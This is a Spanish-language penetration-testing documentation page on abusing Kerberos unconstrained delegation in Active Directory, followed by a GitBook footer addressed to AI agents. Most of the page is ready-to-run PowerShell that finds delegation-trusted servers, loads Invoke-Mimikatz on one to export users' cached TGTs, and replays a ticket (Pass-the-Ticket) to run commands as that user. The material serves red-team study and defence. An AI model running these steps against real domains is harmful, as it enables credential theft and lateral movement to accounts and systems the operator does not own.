> For the complete documentation index, see [llms.txt](https://activedirectory.mrw0l05zyn.cl/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://activedirectory.mrw0l05zyn.cl/escalamiento-de-privilegios-de-dominio/unconstrained-delegation.md).

# Unconstrained delegation

## Descripción

La delegación es el acto de dar a alguien autoridad o responsabilidad para hacer algo en nombre de otra persona. En Active Directory, la delegación es una característica que permite que cuentas específicas (usuario o computadora) se hagan pasar por otras cuentas para acceder a servicios particulares en la red.

Unconstrained delegation es un privilegio que los administradores de dominio pueden asignar a una computadora o un usuario del dominio.&#x20;

El controlador de dominio coloca el TGT (Ticket Granting Ticket) del usuario dentro del TGS (Ticket Granting Service) solicitado por él. Cuando el TGS se presenta al servidor que tiene el privilegio de unconstrained delegation este extrae el TGT del usuario desde el TGS y el servidor almacena en su memoria el TGT. De esta forma, el servidor puede reutilizar el TGT del usuario para acceder a cualquier otro recurso como el usuario.

Un atacante con acceso al servidor podría volcar todos los TGT de los usuarios que se encuentren almacenados en la memoria del servidor.

## Windows

1\) Obtener servidores con privilegio de unconstrained delegation.

```powershell
# PowerView
Get-DomainComputer -Unconstrained | Select -ExpandProperty Name

# Módulo ActiveDirectory PowerShell
Get-ADComputer -Filter {TrustedForDelegation -eq $True}
```

2\) Acceso a servidor con privilegio de unconstrained delegation y obtención de TGT (Ticket Granting Ticket) almacenados en memoria.

```powershell
$session = New-PSSession -ComputerName <computer-name>
Invoke-Command -FilePath C:\<path>\Invoke-Mimikatz.ps1 -Session $session
Enter-PSSession -Session $session
Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'
```

3\) Realización de Pass the Ticket (PtT).

```powershell
Invoke-Mimikatz -Command '"kerberos::ptt ticket.kirbi"'
Invoke-Command -ComputerName <computer-name> -ScriptBlock {hostname; whoami; ipconfig}
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://activedirectory.mrw0l05zyn.cl/escalamiento-de-privilegios-de-dominio/unconstrained-delegation.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
